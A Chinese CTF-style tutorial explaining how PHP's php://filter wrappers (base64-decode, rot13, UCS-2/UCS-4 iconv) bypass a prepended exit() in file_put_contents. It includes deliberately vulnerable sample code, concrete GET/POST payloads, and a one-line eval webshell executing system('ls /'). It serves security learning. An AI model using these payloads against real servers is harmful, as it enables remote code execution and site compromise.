php filter协议使用方法

 更新时间:2022年12月15日 09:04:00   作者:偶尔躲躲乌云334  
php://filter是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
?>

base64加密

看文章的时候看到这样的一个代码,发现我们往文件中写入的时候,肯定会执行<?php exit;?>,可是这样就直接退出了就不能执行我们后面的命令,所以我们要想办法去绕过,或者说不执行这个exit

这道题,可控点有两个 filename 和 content,先直接给出payload ,然后解析

GET:?filename=php://filter/convert.base64-decode/resource=shell.php

POST:content=PD9waHAgcGhwaW5mbygpOz8+

上面的POST段为<?php phpinfo();?>加密段

看完大佬的文章理解:

base64只对64个字符解密,那如果不是64个字符中的,会直接忽略不计

并且base64中的字符,是要求是4个字节的倍数,如果实在不行则=补齐

随便输入一个都是4字节的倍数

<?php exit; ?>这个数据是固定的,而< > ; ?是64以外的字符,解码时会忽略,我们需要考虑的就是phpexit(空格不需要考虑),因为是4的倍数,如果在最后面系统自动加上=号的话,就改变了我们期望的值,所以需要我们手动进行修改,这时候我们可以在前面随便添加一个数据,让它与phpexit组合起来,成为一个乱码,不会影响后面的执行。

还有一道就是最近遇到的一道题目,和上面的思路差不多

eval("#".$_GET['flag]);

这个#影响了我后面get传参,不能进行命令执行

所以我的思路也是想如何绕过#,或者删除了它

可是,当时想了很久都没有想出来,还是大佬的提醒点了我一下

这既然是php里面的命令,我们完全可以把前面的闭合掉,然后自己再插入一句话木马

cmd=?><?php eval($_POST['shell']);

shell=system('ls /');进行这样的操作获得flag等等,当时脑袋瓦特了想不起来

rot13编码绕过

rot13编码的本质就是将字母左移13位。

如:<?php phpinfo();>经过rot13编码后这样:<?cuc cucvasb();?>

用在php://filter中的话格式大概为这样

php://filter/string.rot13/resource=文件名

这样的话上面的题目,用rot13绕过前面的 exit就会转成别的东西,而我们输入的则最后还是那串执行代码,这样也就可以绕过了

结果非常清楚,前面exit被认为是加密解密成这样,后面我们事先加了密,所以抵消,还是原来的

加强绕过exit

<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET['content'];
file_put_contents($content, "<?php exit();".$content);

代码换成了这样,好比上面让你叠飞机下面让你造飞机(-0-)

显而易见,只有content这一个传参点了

这种就是加了一个write直接写入文件,然后红色部分/可以换成别的管道符,只要和rot13隔开就行

convert.iconv.

1.usc-2

这个编码就是2个为一组交换字符的位置(空格也会交换)

为什么我们可以把filter直接写入,因为写入以后只有我们输入的一句话木马会被执行,别的就相当于乱码一样

2.usc-4

就是换成了4个字符一组交换

总结:我们的思路其实都是相同的,通过某一个手段把exit绕过,然后执行我们的命令,其实就是用一些编码的特性,base64 rot13 usc-2 usc-4,都会把exit变成别的乱码一般。

到此这篇关于php filter协议使用方法的文章就介绍到这了,更多相关php filter协议内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • PHP 危险函数解释 分析

    PHP 危险函数解释 分析

    在编译 PHP 时,如无特殊需要,一定禁止编译生成 CLI 命令行模式的 php 解析支持。
    2009-04-04
  • 分享几种好用的PHP自定义加密函数(可逆/不可逆)

    分享几种好用的PHP自定义加密函数(可逆/不可逆)

    最近的项目中一直有用到加密函数,今天来给大家推荐几个好用且我自己常用的加密函数,这几个都是可逆的加密函数,其中也有针对于ID的加密函数,需要的朋友可以参考下
    2020-09-09
  • PHP 内存缓存加速功能memcached安装与用法

    PHP 内存缓存加速功能memcached安装与用法

    memcached 简介在很多场合,我们都会听到 memcached 这个名字,但很多同学只是听过,并没有用过或实际了解过,只知道它是一个很不错的东东。这里简单介绍一下。
    2009-09-09
  • THINKPHP支持YAML配置文件的设置方法

    THINKPHP支持YAML配置文件的设置方法

    这篇文章主要介绍了THINKPHP支持YAML配置文件的设置方法,本文讲解了为什么要用 yaml以及在THINKPHP中的配置方法,需要的朋友可以参考下
    2015-03-03
  • PHP abstract 抽象类定义与用法示例

    PHP abstract 抽象类定义与用法示例

    这篇文章主要介绍了PHP abstract 抽象类定义与用法,结合实例形式分析了php定义abstract抽象类以及继承抽象类等具体使用技巧,需要的朋友可以参考下
    2018-05-05
  • PHP中 empty() 和 isset() 的区别介绍

    PHP中 empty() 和 isset() 的区别介绍

    作为PHP中经常用来判断变量是否为空的函数:empty()和isset() ,二者其实在很多方面还是存在区别的,本文将为大家详细介绍一下他们的区别之处,需要的朋友可以了解一下
    2021-12-12
  • PHP最常用的ini函数分析 针对PHP.ini配置文件

    PHP最常用的ini函数分析 针对PHP.ini配置文件

    php的配置函数就是几个ini_*的函数,主要是针对配置文件的操作,其实就四个函数:ini_get、ini_set、ini_get_all、ini_restore。个人感觉最有用的就是ini_set和ini_get。
    2010-04-04
  • PHP自动生成表单代码分享

    PHP自动生成表单代码分享

    在PHP开发过程中,我们有时候会遇到表单不固定的情况,需要在程序运行过程中动态生成,这里分享一个PHP自动创建表单的类给大家
    2015-06-06
  • PHP file_exists问题杂谈

    PHP file_exists问题杂谈

    我发现了一个问题,今天与大家分享。我把整个过程描述一下
    2012-05-05
  • PHP中extract()函数的妙用分析

    PHP中extract()函数的妙用分析

    近日在看一个牛人的代码时,看到一个非常好用的函数:extract(),它的主要作用是将数组展开,键名作为变量名,元素值为变量值,可以说为数组的操作提供了另外一个方便的工具
    2012-07-07

最新评论